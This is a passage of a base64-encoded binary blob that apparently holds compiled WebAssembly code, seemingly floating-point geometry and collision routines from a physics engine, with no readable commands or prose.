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EIaikCADcDACADIAc2AlggAyAFNgJUIAMgATYCUCADIAQpAgA3AyAgA0HwAWoiAEEIaiAMQQhqKQIANwMAIAMgDCkCADcD8AEgA0HgAGogABCEBiADIAw2AqgBIAMgCDoArAEgAyAnOAKgASADIAI2AqQBAkACQCABQRhqKAIAIh4EQCADQQA2AsABIANCgICAgMAANwO4ASADQbgBaiIEQQAQvwRBAyECIAMoArwBIAMoAsABIgBBA3RqQoCAgIDw////fjcCACADIABBAWo2AsABIANB4AFqIAQQgAICQCADKALgAUEBRw0AIANB4wJqIRND//9/fyEoIAFBFGohHCABQTxqIRQgAUE4aiEdA0AgKCADKgLoAYxfDQECQAJ9AkAgAygC5AEiACAeSQRAIBwoAgAgAEHgAGxqIg8tAFhBAXEiBARAIB0oAgAiBSAPKAJAIgBBBHRqQQAgFCgCACIBIABLGyIAQQhqQQAgABshFSAFIA9BzABqKAIAIgBBBHRqQQAgACABSRsiAEEIakEAIAAbIRYgBSAPQcgAaigCACIAQQR0akEAIAAgAUkbIgBBCGpBACAAGyEXIAUgD0HEAGooAgAiAEEEdGpBACAAIAFJGyIAQQhqQQAgABshEAsgAyADKgKgASInOALsAiADICc4AugCIAMgJzgC5AIgAyAnOALgAiADQfABaiAPIANB4ABqIANB4AJqEJ0BIAMoAvABIQEgAyoCgAIhKSADKgKEAiEqIAMqAogCIScgAyoCjAIhK0EDIR8gBEUEQEEDIRtBAyEMQQMhAAwECyADKQL0ASEwIAMgAygC/AE2AuwCIAMgMDcC5AIgAyABNgLgAiADICggK146APMBIAMgJyAoXToA8gEgAyAoICpeOgDxASADICggKV46APABIANBgANqIANB4AJqIANB8AFqEMgIQQMhDCADLQCAAyADLQCBA0EBdHIgAy0AggNBAnRyIAMtAIMDQQN0ciIarSIwQv8BgyExQwAAAAAhKkEAIRlBAyEAQQAhAUMAAAAAIDBCAYNQDQIaQwAAAAAgFUUNAhogAygCpAEiBygCOCIEQTBqKAIAIgAgFSgCACIJTQ0BIARBLGooAgAgCUGQAWxqQQAgACAJSxsiCCgCAEEBRw0BIBUoAgQiBSAIKAIERw0BQQMhAEMAAAAAIAcgBygCNC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